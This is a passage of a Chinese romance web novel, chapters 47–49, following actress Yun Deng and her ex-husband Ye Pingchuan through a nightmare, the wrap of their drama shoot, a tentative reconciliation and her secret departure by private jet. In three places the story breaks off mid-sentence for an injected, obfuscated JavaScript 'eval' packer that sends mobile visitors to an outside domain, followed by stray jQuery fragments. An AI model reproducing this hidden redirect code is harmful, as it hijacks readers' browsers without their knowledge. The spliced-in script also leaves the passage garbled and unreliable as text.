她不知道叶平川做了多少。但他自己显然明白,现在让他单方面停手是行不通的。胜负此消彼长,对方看到他退让,必定会反扑。 他也可以只做防守。虽然千日防贼,难免会麻烦许多,但他向来要听老婆的话。无非是一直盯着对岸,多花些心思罢了。 到什么时候呢? 当然是到傅谦明咽气为止。 “好。不说他了。”叶平川道,“回去泡个热水澡,能睡得香一点。” 可是一放松下来,困意袭得很凶。她小声嘀咕,“现在就要睡……” “也行,那我帮你泡。” 凌晨竟还有人在酒店外蹲守,不知道是哪一家的粉丝,看到他抱着云灯下车,发出激动惊喜的叹息。又见他单手抱着人,比了个嘘的动作,才发现云灯已经累得睡着了。 放在平时,她再忙也一定会腾出两分钟跟粉丝互动。今天在他肩上睡得很沉,人声嘈杂都没有被吵醒。 叶平川看到粉丝递来的照片,小声问,“我签也可以吗?” “可以的可以的。”粉丝忙不迭道,“两个人的名字都签可以吗?” “好啊。”他于是接过笔和照片,在印着云灯的小卡上签了两人的名字,用爱心圈起来,又认真端详了两秒,“这张真漂亮。连我都没见过。” 是拍立得质感的单人自拍。云灯举高相机,朝着镜头手指比心加wink,超绝表情管理,自然又生动。感觉是蹦蹦跳跳地跑过来拍的。黑色齐刘海上还有一排彩色的小夹子,和美甲呼应,明媚可爱。 这是她最早期的照片。在出道作爆火之初,她还是个会在媒体面前放言“我本来就是天才”的鬼马少女,喜欢彩色,古灵精怪。 再加上刚刚的签名,原地变身绝版小卡。 粉丝按捺着激动的心,压低声音道,“这个是早期工作室允许自印的,原图网上已经没有了。我复印了好多呢,要不要给你几张?” 只有爱了她很久的老粉,才会一直珍藏着那么远以前的照片。叶平川心里有些说不清的骄傲和满足,“不用啦。” 他只需稍稍歪头,就能感受到颈间温热绵长的呼吸。 “我已经有了。” 47. 第 47 章 云灯隐约知道自己被抱回了酒店。叶平川给她擦洗身体,吹干头发,缓慢放轻的动作透着点虔诚的意味。她太困了,想睁开眼睛却都醒不过来,只好随他怎么摆布。 意识里一重接着一重的阴影压下来,她不受控制地下坠,下坠,忽地又回到了那个事故发生的路口,独自站在弥漫的黑雾里。 午夜的风寒冷刺骨,吹得人眼睛生疼。被撞毁的车辆冒着火光和浓烟,不远处一片猩红。她跌跌撞撞地往前跑,步伐沉重得诡异,低头见自己的双脚陷在白色的沙子里。 扑面而来的风混入了海岛独有的腥咸气味。她在越来越深的流沙里跋涉,从脚踝埋到了膝盖。透过驾驶位变形的车门,她看见那张被血色浸透的脸,压在方向盘上了无生气。 “……叶平川。”她用尽全身力气拉开车门,发出的声音闷哑难听,“叶,叶平川!” 驾驶座上的身体歪倒出来,冰凉僵硬,没有一丝活人的气息。 她再也流不出眼泪,只能背起尸体,绝望而又麻木地,夸父逐日般不停往前走。 倏忽间巨浪袭来,她不堪重负地摔倒,背上的人也摔了出去,眼看就要被海水卷走。她慌乱地爬过去,用身体压住他,拼命地抱紧。 直到潮汐渐退。她松了口气,低头却看见,怀里是一张陌生的女孩的脸。 那张带着明显整容痕迹的脸像面包一样膨胀,皮肤肉眼可见地腐败成烂肉,露出白森森的颅骨。 她想要起身,却被一双手骨死死搂住。大地开裂,漫入海水,她们抱在一起下坠,下坠…… 剧烈的窒息和失重感中,云灯猛地惊醒。 床头灯被打开,贴住后背的胸膛比她滚烫。仿佛还嫌不够,熟悉的手臂又将她往后带了带,抱得更紧,“我在这儿呢。不怕。” 惊魂未定的忐忑几乎将人的精神抽空。她喘息了几秒,感到一阵莫名的委屈,翻身抱住叶平川。 “做噩梦了?”叶平川调整姿势接好她,低声道,“你刚才在叫我的名字。” 回来的路上就想到,他不太意外。车祸才过去没有多久,就又拍了他濒死的剧情,戏里戏外时间离得太近,很容易触发创伤记忆。 虽然他等缝完脑袋出来,云灯早已情绪稳定,事后也没再提过当时的感受。但他怎么会想不到呢。 沉默了一会儿,云灯小声说,“我以为你真的会死掉。” 她很少直接地表达自己的感受,有时候是觉得没有意义,有时是连自己也不太清楚。 她的情绪远没有她饰演过的角色们那么鲜明,有点像自我保护的解离症状。不过也有些人,受到很大刺激时是没有什么反应的,就像玩过山车的人不是每一个都会尖叫。她觉得自己属于那种。 可她无法庆幸。因为那些恐怖的情绪并不是消失了,而是换个时间换个形式再冒出来,叫人反复受折磨,无处可逃。 “我好好的呢。”叶平川拉着她的手,摸头皮上已经拆线的伤疤,又摸了摸从未被利箭贯穿的胸口,“瞧,哪里都没事。” “我说过会活很久,比别的任何人都要久。我肯定陪你到最后。” 天光渐明,她从窗帘中间的缝隙里窥见一线灰青。不知怎么想起小时候,父母离婚后,她跟着妈妈,从漂亮的公主房搬进了拥挤的居民楼。 两间卧室离得近,隔音又差。她经常被隔壁的动静吵醒,望着窗帘间露出的天色祈祷快亮,讨厌的男人快点离开她的家。 她整夜整夜无法入睡,精神总是很差,到了学校也难以专心听课,老师免不了对她说些难听话。说得最多的,就是她仗着自己漂亮 不好好学习,长大以后肯定会很没出息,只能找个男人嫁了,生完孩子在家当黄脸婆,老了也没人管。 “你在戏里中箭的时候是四十多岁。”她带着一点怀念的语气,对叶平川说,“我小时候就有种预感,自己不会活很久,可能活不到四十岁。后来学会了抽烟喝酒熬大夜,坏毛病一堆,就更觉得活不到了。” “你现在都不怎么抽烟喝酒了,量控制得很好。除了工作也不会熬夜。” “可我还是那么觉得。” “那等到你四十一岁生日,我们就只在蛋糕上插一根蜡烛。”叶平川道。 “这样就又可以从头过一遍了。这次从一岁开始,就都有我陪你。” 她笑起来。好像只要一两句漂亮话,就能把她哄得很高兴。“等到了四十岁,你也还在我身边吗?” “当然。”他说。 “可是叶平川,我不会再跟你结婚了。”她残酷道,“你没有必要浪费时间在我身上。再这样下去,我们的关系也只会变得不伦不类。” “可是云灯,”他不紧不慢道,“你的手为什么还抓着我呢。” 云灯怔了怔,松开手哼了一声,转身又背对着他。叶平川厚着脸皮撵上去。诺大的床,两人挤在一边床沿,“又烦我了?不要哇。” “……” “你不喜欢结婚,那就不结。我们谈一辈子恋爱也很好啊。”他笑嘻嘻道,“这样一想是不是没那么烦啦?我就只希望你开开心心地跟我在一起。别的都不重要。” 他原本没有期待任何回应。可云灯拨开他难缠的手脚坐起了身,在床头昏黄的灯光里,看着他问,“真的?” “真的!”他也跟着弹起来,忙不迭地点头,“真的真的。” 她忽然质问,“那为什么答应离婚?” 这问题问得很奇怪。明明她才是提出离婚的那个人。 “当然是因为你待在我身边不舒服……啊。” 叶平川忽然意识到,有些在他看来理所当然的逻辑,对于云灯而言是很难理解的。 就像在这个问题上,两个人其实从未达成过共识。 “如果你真的不爱我了,我还用婚姻强行把你绑在我身边,那也太混蛋了吧。”他认真道。“而且现在常说女性容易得结节什么的,我就怕你总是心气不顺,把你给逼得抑郁了万一回头再得癌症怎么办。” “……” “所以我就想我们可能真的需要分开,各自冷静一段时间。哪怕分开就必须要离婚,那我也听你的。” 他说完,看着云灯眼底闪动的光,忽然又福至心灵,补充道,“那并不是想要抛弃你,只是希望你好受点而已。” 在他心里,爱是绝对的第一优先级,没有其他任何因素可以撼动。婚姻是因为承载了爱,才会变得珍贵。 “婚姻从来都不是重点,爱才是。” 云灯消化片刻,哦了一声就躺回被子里,看不出是什么态度。 他心里没底,怕自己没表达清楚,黏上去想再说道说道,被她轻轻骂了一句,“太过于追求纯粹的东西很容易幻灭的,只有大富大贵的家庭才养得出你这种理想主义笨蛋。” 叶平川听她的语气就想笑。中意的人,就算口是心非也只觉得她可爱。 “那你呢?你是不是说过,本来对我没抱太大期望的。我们都已经结婚了,明明凑合过比离婚更容易,可你没有。为什么呢?”叶平川道,“因为你也是个理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658561|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想主义的笨蛋。” 她曾经以为自己可以把人生糊弄下去,可终究还是没有做到。最渴望得到的东西,往往最不容许它掺进半点杂质。所以她才会那么介意两人感情的开始不纯粹。 “所以说,”他总结,“我们真的很配。” 想明白一切后,他心里有一个最甜美的推测,有点反常识,但很可能最接近真相。 云灯恰恰是察觉到对他感情,才急切地要跟他离婚。 她害怕太纯粹的东西,如同抗拒太阳,害怕被烈焰灼伤。可那一份纯粹早就深植在她的身体里,只是还没有获得她的认可。 人是需要软肋的。 人应该被允许脆弱。 云灯想他现在很喜欢解读她,像在读一本处处隐喻的小说。其实她并没有那么多内涵,“是这样吗?我以为自己天生就是一副没有心的空壳。” “那把我的心给你呢?”叶平川试着问。“可以给你吗。” “可以啊。”她和他说着漫无边际的傻话,“但你自己就没有了。” “没关系,我自己还会长的。” “你连这个也会?” “对啊。”他一本正经地解释,“小时候闯祸,我爸就老是骂我长点心吧,长点心吧。我听多了,不知不觉就会长了。” “……” “我只希望你肯要。”叶平川说,“你要我就很高兴了。” 金色的光线渗入缝隙。他索性下床,把窗帘全拉开,卷着被子和她一起依偎在窗边,看一场暧昧不清的日出。 被楼房阻挡的视野不算很好,只能看到半个太阳。但两个人都看得很入神,仿佛在观摩一场世界级的演出。 云灯几乎忘记了眨眼,想要记住这场日出的每一秒钟。光晕像涟漪一圈圈扩散,变成心上的阵痛。 但这种痛一点都不苦涩。她可以欣然珍藏,回味很久。 “叶平川。”她念着这个名字,侧脸被光线描摹出静谧柔和的轮廓。 “在呢。” “你有没有不择手段,不惜代价也必须要完成的事?” “嗯?有啊。” 能让他非常迫切要去做到的事,通常都不会计较后果。叶平川想了想,又说,“但真的下定决心去做的事,往往不会坏到那一步的。” 她若有所思地点头。 但愿。 “是有什么事么?我马上杀青了,随时可以帮你去做。”他察觉端倪,苦口婆心道,“你不要勉强自己,更不要找别人。不管是什么事,好的坏的,只要你说,我昧着良心也站在你这边。我只要一个知情权,可不可以?” “……” 怎么有种命很苦的感觉。云灯被逗笑,凑过去亲了他一下,“还是不要昧着良心了吧。” 叶平川被迷得恍惚了两秒,意志力在接吻和说正事之间疯狂摇摆,最终理智占了上风,“到底什么事啊。” “只是随便说说。不过你这么一问,我还真想起来一件。”云灯说,“申雪舒要换公司,我答应了帮忙,但又不太想亲自签她。你那里还招艺人吗?能不能帮我还个人情?” 倒也不是什么大事。但叶平川直觉不太对劲,狐疑道,“为什么啊,你不喜欢她?看你们相处得挺好的。” “嗯,但你也知道她现在跟谁在一起。”云灯悠悠道,“如果让她签进我公司里,之后免不了要经常见面,那就有可能会接触到她的……” “我来!我肯定给她找到下家。”他义不容辞道。“你拍戏就行,别的不用操心。” 48. 第 48 章 叶清的杀青仪式两人都没赶上,因为晚上还要拍戏,杀青饭也没去吃。 云灯想接下来很长一段时间估计都不会再见到她,临了倒是有点惺惺相惜,就包了一份礼物让人送过去。 为了不在片场过除夕,全组都在加紧进度。因为孟瑜的戏份删减,工作量比预期少了一部分,要在年前拍完,不出意外的话时间算是充裕。 “明天孟瑜要回来,你帮我看一下。”出差当天,她对邓晓琼说,“我去趟上海,顺道找朋友有点事,可能明天赶不回来。” “行啊。”邓晓琼抽了支烟给她,“你现在可没有刚开机那会儿对剧组上心了。” 最近审片和剧本会她都不太参加,全交给跟组编剧和导演确定。 “本来就只是感兴趣想给自己找点事做,试过才发现执行累成狗,以后再投新项目还是只挂个名好了。”她感慨完也没有接烟,微微摇头,“不抽了,待会儿走之前还得亲嘴呢。” “……” 不止要亲,叶平川还想跟着她一起去。她当然不会答应,到上海比起工作,更重要的行程是提前预约了律师事务所,去见姜渺。 预约是在下午三点。午餐后她和梁天在楼下喝咖啡,随便聊了些近况琐事,还拍了几组照片发微博。 梁天一边给照片挑滤镜,一边跟她说话,放松状态下讲了不少家里的事。她也快三十岁了,哥哥姐姐甚至弟弟妹妹们都结婚生子,家里催她催得很紧,不外乎说是她选的工作有问题,整天到处跑行程,没时间相亲谈恋爱。 她没有意识到这个聊天方向是被引导的结果,直到云灯问她,“有考虑过留在上海吗?” “……什么?” “这边行业内好的公司你可以随便挑,换个稳定出差少的职位,总跟着艺人跑确实很辛苦。” 云灯说,“你跟了我好几年,有经验,经纪人证也考下来了,我相信你已经有单独带艺人的能力,去哪一家待遇都不会差的。” “或者,你想换别的行业尝试一下吗?我应该也能找到说得上话的朋友,给你弄来内推名额。今年的年终奖照发,还会多给你三个月的工资,当作你工作过渡期的补偿。” 梁天瞪大眼睛,愣了很久才反应过来。 云灯是要解雇她。 可是……为什么这么突然? “是我哪里做错了吗?”她忐忑地问。 云灯开出的条件待遇非常好,在拍的剧杀青前和她说,也给了她充足的考虑时间。但如果可以,她并不想换老板。 毕竟共事了几年,除了员工关系,总还有些私人交情在的。哪怕不是非常亲密的那种,她以为……至少可以算得上半个朋友吧。 这样突然地宣布要解除雇佣关系,难免有些不讲情面,叫人心里不是滋味。 “好好考虑一下喔。”云灯没有和她解释的意思,拿过手机看了看照片,和往常一样夸奖,“做得不错。” 她没有让梁天跟着进律师所。独自见姜渺谈完事情,又一起吃了顿晚餐,她们聊到餐厅打烊,才依依不舍地分别。 晚上回到酒店,她拿新手机登入游戏账号,看到小伯头像暗着。叶平川不在线。 她思忖片刻,在聊天框里输入。 【在吗老板要号吗?十年老号极具收藏价值喔】 【凭我们的交情可以给你熟人价~】 叶平川应该给她设置了特殊关注,即使不在线也会有消息提醒。这个时间他不用拍戏,大概率在酒店里自己玩手机。 果然,消息发出去没几分钟,云灯就看到他的回复。 【你有病吧】 【我们很熟吗】 【为什么要卖号】 灵魂质问三连。 云灯不出意料地打字。 【当然是要捞钱啊】 【你急用钱?】 【[微笑][微笑]】 对面安静了一会儿,才又发来讨价还价的消息。 【可以,但我有条件】 【我给你市价的十倍,我们约个地方见面,一手交钱一手交号】 【时间地点无所谓,有些事总得好好说道说道】 云灯心里估算了一下,把时间定在杀青三天后,地址则偷懒就近,留了下午待过的那家咖啡馆的名字。 叶平川一眼就认出来。 【你在上海?】 她没再回复消息,关机睡觉,隔天去机场之前先去了趟咖啡馆,把手机留在前台。 前台听到她说某天叶平川会来取时,表情像见了鬼,“这……” “如果他没有来,就送你了。”云灯捏了一下鼻梁上的口罩,扫码转过去一笔钱,“保管费。” 她没想要确保手机一定能交到叶平川手里。如果被前台私吞了,也是命运的安排。 孟瑜拍最后一场戏时,她恰好也回到片场。 金尊玉贵的将军府大小姐,面对叛军时宁折不屈,殒命于女帝登基之前最黑暗的夜晚。 原先的剧本里,她经历兵变继续追随女帝,哥哥战死后执掌段家。但因为组里闹出一场争端,编剧不得不安排她提前下线,再三思量,选择了这个最容易体现人物高光的节点。 回老家休息了一段时间,再次投入到表演当中,她情绪饱满,没有半分敷衍和迷茫。 云灯就知道,这女孩已经拿定了主意。 叶平川悄无声息地走过来,评价她看孟瑜的眼神,“充满了欣赏和慈爱。” “……” 他们就站在一边看着新人演员拍戏,虽然有些时候难□□露出青涩稚气,但瑕不掩瑜。 云灯喜欢她们身上的那种生命力,天真执拗又充满希望。让她想起别的小女孩,如果有机会接触外面的世界,一定也会有更自由,更精彩的人生。 退一万步讲,起码也会是更正常的人生。 她已经不记得自己小时候想当演员的念头是怎么萌发的,好像是冥冥之中的注定,回过神来就已经踏上了这条必经之路。 “如果以后不当演员了,”她问叶平川,“你最想做什么?” “回去继承家业呗。”他没多想就回答。 本来当演员就只是玩玩而已。在京市那边老辈子的人眼里,他这叫游手好闲不务正业。 叶清肉眼可见的指望不上,家里也只能靠他了。当一辈子的演员对他来说太奢侈,能有这几年逐梦演艺圈的日子,丰富一下人生体验就行。 “你呢?想做什么?”他问云灯。 云灯没来由道,“我想去做肠粉。” “……”这是叶平川完全没料到的方向,“早餐店里吃的那种?” “嗯。我以前在港市住过老巷子里的花园别墅,对面就是一家早餐店,肠粉做得比别处都好吃。有段时间,我每天都会让人去买,还会站在窗户前看着她们做,猜测哪一份是我的早餐。” 那时候她想,如果有一天自己能光明正大地走出去,第一件事就是去小店里亲自买一份肠粉,坐在门口的塑料椅子上吃完。 “好吃的肠粉关键在于粉浆要薄薄一层,蒸出来才会晶莹剔透,口感嫩滑。我的手很稳,可以控制好粉浆的量,说不定会做得很好吃。” 她描述得非常有信念感,显然自己在心里模拟过很多次。叶平川就知道她不是随便说说。 人类对云灯的开发不足百分之一。不愧是他老婆,连爱好都跟别人不是一个画风。 “那是不是得买个肠粉机做?有一层一层的铁盘那种。”他饶有兴趣道。“回头研究一下,正好过年在家有东西玩儿。” 顺便把开早餐店列入人生计划清单。 “杀青后你还有什么安排吗?爸妈问我们多久回去。”他小心试探,“如果没别的事……要不要跟我一起回家过年?” 被这样一双充满期待的眼睛注视着,云灯很难说出拒绝的话。 她想自己连对叶清都可以给一个温柔的道别,没道理独独对他残忍。 “好啊。” 叶平川格外高兴,还是跟以往一样想都不想就相信了她,给家里报信,还打听过年留下的住家阿姨里有没有会做肠粉的。 最后半个月紧锣密鼓的拍摄中,叶平川神神秘秘地去找导演和编剧商量,忙活几天给自己加了两场戏。 他认为谢凭渊死于乱箭实在可惜,主要是死得不算很有价值,据理力争地说服导演,把死亡改成了重伤。 那一箭上淬了名为“惊蛰”的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15685987|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,毒性不会立刻要人性命,而是会让人虚弱,缓慢地折磨到来年春天,在惊蛰那天毒发。 毒药无法可解。但若是能够扛过惊蛰,便能再活一年,等下一个惊蛰到来再毒发,周而复始。 在生命的倒计时中,谢凭渊殚精竭虑,将未来对国家的规划和尚未完成的图景都整理成册,罗列出对帝王有用的人脉和需要提防的边患。榨干自己的每一滴心血,只求对她有用。 这一场是他的独角戏。同样是挑灯伏案的场景,为了表现时间变化,叶平川的妆造修改了几次。鬓边的白发一次次增多,脸颊和眼下的也逐渐加深。 云灯在片场看着他拍的。虽然知道只是剧情妆造,但当他带着戏里的情绪望过来,无穷无尽的温柔,担忧与眷恋不舍,叫人心头酸涩难当。 第二场便是两人真正的告别戏。 靠着满天下搜罗的珍贵药品,谢凭渊勉力维持生命,熬到了第三年惊蛰。 每年的这一天两人都会共同度过,今年也是。她一早便从宫中赶来,靠在榻边说起沿路的大雪,马蹄印很深。 这场倒春寒或许会影响春耕,让农作物减产从而粮价上升,届时朝廷也该有所应策。 窗棂外飞雪漫天,室内燃着温暖的炭火,浓郁的药味被烘烤得入木三分。不知过了多久,两人都没有再说话。一室静谧中,她脱了鞋上床,躺到谢凭渊身边,轻轻握住他的手。 “别怕。我只是困极了,想先睡一会儿。” 谢凭渊回握她的手,带笑的语气一如当年,“等我醒了,带你去吃点心。” 她低低地应了,翻身握住他的手抵在胸前。许久,眼角泪痕斑驳。 这是一场漫长的告别。谢凭渊用自己教会了她如何平静地面对死亡,有时平静的力量比撕心裂肺更震动人心,余韵悠长。 每位主演杀青,剧组都会准备小小的仪式。最后一场戏打板,云灯笑着接过花束,看见场务用小车推了个三层蛋糕出来,“会不会太夸张?” “杀青快乐!!” 当天下了很大的雪。在组的几个主演都没有赶时间的行程,一起吃饭还研究最近的热榜趋势,拍了手势舞在线营业。 邓晓琼更是要喝个不醉不归,眼泪汪汪,“太他妈不容易了!为了工作把爱情都献祭了,求老天奶保佑我们过审开播一定要顺利啊!” “不用麻烦老天奶,我保佑你。”云灯笑盈盈地搂着她,“什么时候分手的?瞒得这么好。” “就上周。我本来想着等戏拍完了好好陪她出去玩一圈,谁知道大过年的,人说不要就不要我了。”邓晓琼心塞道。“啥他妈爱情不爱情的!从今往后我的心里只有暴富,喝!” 叶平川也过来凑热闹,“呦,敬暴富一杯。” 离除夕还有一周,算是超额完成任务,大家紧绷了许久的心弦都放松下来,一个个喝得东倒西歪,语出惊人。 叶平川却没怎么喝,只混在其中听了不少劲爆的八卦,想着可以回家跟老婆讲。 等等,老婆不就在这儿呢么。 他好像也有点醉了。太幸福会令人缺氧。 云灯被他抓到身边,听他嘀咕自己拍这部戏瘦了十几斤,严谨地上手摸了摸,“是呢,胸都饿小了。” “……” 叶平川压着她的手乱摸,“你喜欢我就再练回来。” 吃饭之前他就用手机偷偷发微信,叮嘱她说不要喝太醉,看着很有晚上回去大干一场的架势。 横竖今天高兴,云灯想就都由着他。只是两人对“大干一场”的定义,似乎有很大误差。到了他那儿,就变成一场一场又一场。 床太湿了,她被抱到隔壁房间,以为这样就能休息,没想到只是换了个地方继续激/情/戏。 暗无天日。睡和醒重复了几次,再睁开眼已是隔天下午。 她一动,叶平川也跟着动,手脚像开了自动导航,不管换什么姿势都把她牢牢抱着。稍微挣扎一下就像调情,轻易又擦出火。 眼看又要再来一场。她实在有点受不了,努力思考用什么理由来打断他。 也是昏了头。她想说都中午了难道还没有饿吗,也该下去吃个饭了吧。可一嘴瓢就变成了:“你没……吃饭吧?” 49. 第 49 章 还有力气挑衅,显得没有休息的必要。 天色擦黑时她终于洗漱清爽,趴在床尾吃外卖披萨,看叶平川蹲在地上收拾行李。 他没穿上衣,被抓红的痕迹冲完热水澡后更加明显,很漂亮的排线,云灯只欣赏不心疼,被折腾得过分了,不报复回来心理不平衡。 “你好凶啊。”她声音软软的,抱怨也像是撒娇,“待会儿还要坐飞机呢,干嘛做得这么狠。” 叶平川装好一只行李箱,起身又去拿另一个,余光里见她手伸了伸,转头叼走她吃剩的披萨边,含混不清地说,“不这样,怎么能让你接下来几天都想着我?” 回家过年前还得去趟京市应酬,云灯不想陪他一起,他也只是这么一提,没有强求。要不是之前用了人,他自己也不愿意去。 云灯只吃一块就饱了,下床跟他一起收拾。大件基本都已经装好,只剩下些容易遗漏的小物件,在房间里检查。 她看见那张旧校卡放在桌上,跟叶平川的身份证件放在一起。拿起来看了一会儿,说,“其实客观一点评价,我还挺喜欢这名字的。字形漂亮,念出来也好听。” 可惜云和灯都是飘摇不定的东西,遭遇风雨就会消散。华而不实,算不得什么好寓意。 十来岁时她毅然决然舍弃这个名字,以为能把泥泞的过去也一刀斩断。现在年纪又大了些,才知道当初的想法是天方夜谭。 “那我以后也多这么叫叫你。说不定听着听着习惯了呢,就不会那么在意了。”叶平川笑嘻嘻地揽她的腰,“小潘同学。” 他打心底里觉得,如果上学时能跟云灯当个同桌,枯燥的学校时间一定会变得非常有意思。他也不会一放学就想跑回家打游戏了。 说不定还来得及影响一下她的性格,可能就不会变成对人类失望的悲观主义小猫。 云灯点头,“可以试试。” 或许是因为剧组杀青,她最近格外好说话,看人的眼神也特别温柔——还是一视同仁的,连对他也温柔,看得人心都要融了。 虽然全世界都得到她的好脸色,但叶平川私心里觉得,还是自己分到的比较多。 他又悄悄托朋友在国外的展会上定到一只水头不错的紫翡手镯,希望能帮云灯延续好心情。 尽管并不顺路,他依然先陪云灯飞到南江,把她送到了家门口。 云灯在南江有个小公寓,是她婚前买来自己住的地方,结婚后跟他住一起就再没回来。离婚的大半年里,她忙得到处飞,根本没有假期,基本也都是空置着。 叶平川原本想说可以直接回两人的家里住,反正离婚以来她就只是人不在,常用的东西都原样放在那里,跟一次漫长的出差——或者说离家出走没有区别。 可他再一想,以两人现在的关系,她估计不乐意黏那么紧,别把人逼急了连年都不愿意跟他过了,就改问她有没有提前叫阿姨打扫过。 云灯点了点头,没邀请他进门,“还不走吗?别误机了。” “马上,”叶平川磨磨蹭蹭舍不得走,“要不你再送我下去一趟吧。” “……” 云灯忍俊不禁,“然后你再送我上来,我再送你下去,再上来这样么?请问这个流程需要几次来回呢,先让我先考虑一下再说。” “就一回,你送送我。”他举手发誓,“我保证上车就走。” 云灯只好又陪他回到车库里,感觉像回到热恋期。不过那时叶平川还要小装一下,送她回家后只是自己一个人在楼下转悠几圈,背着酷哥包袱,撒娇没这么直接。 “不要跑太远去玩,别人叫你出去喝酒别喝到很晚,也别空着肚子喝。酒醒了记得吃早饭,记不住就提前告诉我,我给你点。” 叶平川絮絮叨叨地嘱咐,仿佛她才是要出远门的那一个,“我争取两天之内把事情搞定,大后天回来要是找不见人,我就躺在你门口哭个肝肠寸断!” 很有力的威胁。 云灯乖巧点头,“知道啦。” 叶平川又最后亲了她一下,眼中满溢的憧憬笑意清澈透明,“等我来接你,一起回家过年。” 云灯看着他上车,又看着那辆车载他驶出地下停车场,觉得有一部分的自己被他带进了车里,剩下的部分却还留在原地。以至于随着车开得越远,她就被撕扯得越痛。痛到很想大声尖叫。 须臾间她甚至觉得自己已经那么做了,直到察觉旁边有车用前灯在闪她,才回过神,发现她只是站在原地发呆。 驾驶座车窗降下,最先露出的还是那个像被牛舔过的韩国欧巴头。 云灯对他竖了个中指,转身往电梯的方向走。 “搞快点。”黑K从车窗里探出头,朝着她喊,“飞机上没人,不用化妆。随便收拾点东西带上就行了。” 云灯没理他,回到家门口,行李箱还放在那里。她输入密码打开门锁,抬腿把箱子踢了进去,力气不大,箱子没滑多远就停下来,和门口保持着半死不活的距离。 她没有管行李箱,进卧室打开衣柜,拿了条黑色短裙。 裙子是薄纱质地,深v露背,和苦寒的深冬极不般配,但很适合在她的目的地穿着。颜色完全符合她现在的心情。 她换了裙子,在零下的温度里寒毛竖立,也没有披件外套,就这样面无表情地打开保险柜。里面放着几套贵重的珠宝首饰,几块金条,重要合同和少量现金,还有她的护照。 她拿出护照,关柜门的手顿了一下,从层层文件底下抽出一张照片。 十年前的照片,有点糊,还很旧。因为当时手机相机的画质还没那么高清,并且她拍得很匆忙。 照片上叶平川独自坐在校门口的露天咖啡厅,托腮翻着一本厚厚的专业书。没有拍到书名,但她知道是《演员的自我修养》,两人约定好的接头暗号。 那是他们很久之前就约定好的见面。 她本可以早点告诉叶平川自己高三转到港市读书,换了志愿的大学,却又怕叶平川知道她违背约定,生气失望,就会抛弃她。 她那时在陌生的新环境里,最基本的生活语言都不太通,过得不太顺利。很需要留个认识的人聊聊天,缓解压力。 傅谦明不允许她身边有任何亲近的朋友,唯有这个游戏搭子没被发现。她用叶平川排解寂寞到次年高考,终于算是适应了环境。 利用完毕,也到了该说再见的时候。 叶平川至今都不知道。其实约定的那天她也去了,隔着人群看他喝完三杯咖啡,翻完了整本书,还拒绝了一个星探的搭讪。 直到太阳落山,他望着门口镀金的校名出神,仿佛在思考自己究竟为什么会来到这里,踏上一条从未想过的道路。把他引导至此,又随意丢掉的罪魁祸首躲在哪里呢。 她从始至终都没有下车,看他像要离开,才躲着司机,仓促地用手机拍了一张照片。 那时她已经被港影录取了。傅谦明以为她是想感怀从前的梦中情校,才会不辞辛苦地飞回去,在校门口坐一整天。 其实她只是想去跟朋友打个招呼,再好好地告个别。 可惜无论线上还是线下,她都没有做到。 她真的是个很不会道别的人。 即便是现在,她已经知道了叶平川是个怎样的人。知道当初就算她老老实实地说出实情,叶平川大概率也会体谅她有难处,并且鼓励她好好生活,考上新的梦校。可她依旧是个很不会道别的人。 拿照片的手不停地抖,她想还是太冷了,不能再看下去,最后还是把照片放回保险柜里上了锁。 “什么都不带?” 寒冬腊月,黑K看她两手空空,穿条短裙露着胳膊和大腿就敢往外跑,暗骂了一句神经,默默地调高车里的空调温度。 她冷得牙齿打架,不想搭理,上车后又暖得昏昏欲睡,更不愿意说话。 上了私人飞机,空乘前问她想要什么样的早餐。 “我想吃肠粉。”她迫不及待地点餐,“要瘦肉肠粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704524|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加两个蛋。” “……” 空乘礼貌地表示可以试试别的菜单。她又说,“那在港市转机的时候让我去吃完再回来。” “转什么机,私人航线。”黑K一脸无语,“飞到港市你背个降落伞跳下去吃两口得了。” 云灯:“好啊,那快到降落点的时候记得给我开舱门。” 跑火车谁说得过她。黑K拿倒满一杯伏特加塞她手里,叫她闭嘴讨个清净。 云灯勉为其难地选了别的早餐,又很怀念地说,“以前总让小花去买的那家肠粉,不知道还在不在。” “早就不开了。前几年老板儿子结婚,退休回老家带孙子了。”黑K说,“还有,岛上的人也都换了一拨了,估计没几个是认识你的。现在人家叫Flora,你也适应适应改口吧,叫小花都没人知道你在说谁。” 她撇了撇嘴,皱着脸一副很嫌弃这英文名的表情。黑K已经让耳朵做好了屏蔽的准备,她却没再牙尖嘴利,说什么刻薄的难听话。 “那就叫人请个会做的厨子。”她淡淡地说。“落地我一定要吃到。” 起飞前她忽然想起,自己上编剧导演课时还在绿江文学网站连载过小说。心血来潮登上账号,想看看有没有新的读者评价。 